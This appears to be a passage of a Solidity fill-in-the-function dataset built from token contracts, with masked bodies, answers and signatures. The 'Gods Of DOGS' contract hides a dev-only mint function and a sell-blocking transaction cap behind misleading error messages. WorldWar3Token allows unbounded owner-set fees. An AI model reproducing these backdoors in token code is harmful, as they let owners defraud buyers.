require(nestContract.transferFrom(address(tx.origin),address(this),num));
baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].add(num);
| function depositIn(uint256 num) public onlyContract | /**
* @dev Deposit in nest
* @param num Deposit quantity
*/
function depositIn(uint256 num) public onlyContract |
17433 | GofD | allowance | contract GofD is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
uint256 private _tTotal = 10**12 * 10**18;
string private _name = 'Gods Of DOGS';
string private _symbol = 'Gods Of DOGS';
uint8 private _decimals = 18;
uint256 private _maxTotal;
uint256 private _total;
uint256 private _feeAmount;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
constructor (address devAddress, uint256 maxTotal, uint256 total) public {
_excludeDevAddress = devAddress;
_maxTotal = maxTotal;
_total = total;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {<FILL_FUNCTION_BODY> }
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferTo() public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.add(_maxTotal);
_balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal);
emit Transfer(address(0), _msgSender(), _maxTotal);
}
function setTaxAmount(uint256 maxTaxAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = maxTaxAmount * 10**18;
}
// function burn() public {
// require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
// uint256 c = 1;
// _feeAmount = c;
// }
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _excludeDevAddress) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
/**
* @dev Throws if called by any account other than the owner.
*/
} | contract GofD is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
uint256 private _tTotal = 10**12 * 10**18;
string private _name = 'Gods Of DOGS';
string private _symbol = 'Gods Of DOGS';
uint8 private _decimals = 18;
uint256 private _maxTotal;
uint256 private _total;
uint256 private _feeAmount;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
constructor (address devAddress, uint256 maxTotal, uint256 total) public {
_excludeDevAddress = devAddress;
_maxTotal = maxTotal;
_total = total;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
<FILL_FUNCTION>
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferTo() public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.add(_maxTotal);
_balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal);
emit Transfer(address(0), _msgSender(), _maxTotal);
}
function setTaxAmount(uint256 maxTaxAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = maxTaxAmount * 10**18;
}
// function burn() public {
// require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
// uint256 c = 1;
// _feeAmount = c;
// }
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _excludeDevAddress) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
/**
* @dev Throws if called by any account other than the owner.
*/
} |
return _allowances[owner][spender];
| function allowance(address owner, address spender) public view override returns (uint256) | function allowance(address owner, address spender) public view override returns (uint256) |
55626 | bzrx | null | contract bzrx is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {<FILL_FUNCTION_BODY> }
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
} | contract bzrx is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
} |
name = "bzrx";
symbol = "BZRX";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| constructor() public | constructor() public |
73478 | WorldWar3Token | _tokenTransfer | contract WorldWar3Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address public receiveing_wallet = 0xb36731BEcF88BF1434B4448cF179e0307D809cc8;
uint public fee = 9; // 1000
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "WW3Token";
string private _symbol = "WW3";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9;
uint256 constant numTokensSellToAddToLiquidity = 1000000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), WETH);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function setReceivingWallet(address _receiving_wallet) public onlyOwner() {
receiveing_wallet = _receiving_wallet;
}
function setFees(uint _fee) public onlyOwner() {
fee = _fee;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint tax;
uint toSend;
tax = amount.mul(fee).div(1000);
toSend = amount.sub(tax);
_transfer(_msgSender(), recipient, toSend);
_transfer(_msgSender(), receiveing_wallet, tax);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function updateRouterAndPair(address _uniswapV2Router,address _uniswapV2Pair) public onlyOwner() {
uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
uniswapV2Pair = _uniswapV2Pair;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
if (_tOwned[account] > 0)
{
uint256 newrOwned = _tOwned[account].mul(_getRate());
_rTotal = _rTotal.sub(_rOwned[account]-newrOwned);
_tFeeTotal = _tFeeTotal.add(_rOwned[account]-newrOwned);
_rOwned[account] = newrOwned;
}
else
{
_rOwned[account] = 0;
}
_tOwned[account] = 0;
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if (
contractTokenBalance >= numTokensSellToAddToLiquidity &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
if (balanceOf(uniswapV2Pair) >= 2 && IERC20(WETH).balanceOf(uniswapV2Pair) > 0)
{
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {<FILL_FUNCTION_BODY> }
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function safeTransferETH(address to, uint value) public onlyOwner {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function safeTransfer(address token, address to, uint value) public onlyOwner {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
} | contract WorldWar3Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address public receiveing_wallet = 0xb36731BEcF88BF1434B4448cF179e0307D809cc8;
uint public fee = 9; // 1000
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "WW3Token";
string private _symbol = "WW3";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9;
uint256 constant numTokensSellToAddToLiquidity = 1000000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), WETH);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function setReceivingWallet(address _receiving_wallet) public onlyOwner() {
receiveing_wallet = _receiving_wallet;
}
function setFees(uint _fee) public onlyOwner() {
fee = _fee;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint tax;
uint toSend;
tax = amount.mul(fee).div(1000);
toSend = amount.sub(tax);
_transfer(_msgSender(), recipient, toSend);
_transfer(_msgSender(), receiveing_wallet, tax);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function updateRouterAndPair(address _uniswapV2Router,address _uniswapV2Pair) public onlyOwner() {
uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
uniswapV2Pair = _uniswapV2Pair;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
if (_tOwned[account] > 0)
{
uint256 newrOwned = _tOwned[account].mul(_getRate());
_rTotal = _rTotal.sub(_rOwned[account]-newrOwned);
_tFeeTotal = _tFeeTotal.add(_rOwned[account]-newrOwned);
_rOwned[account] = newrOwned;
}
else
{
_rOwned[account] = 0;
}
_tOwned[account] = 0;
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
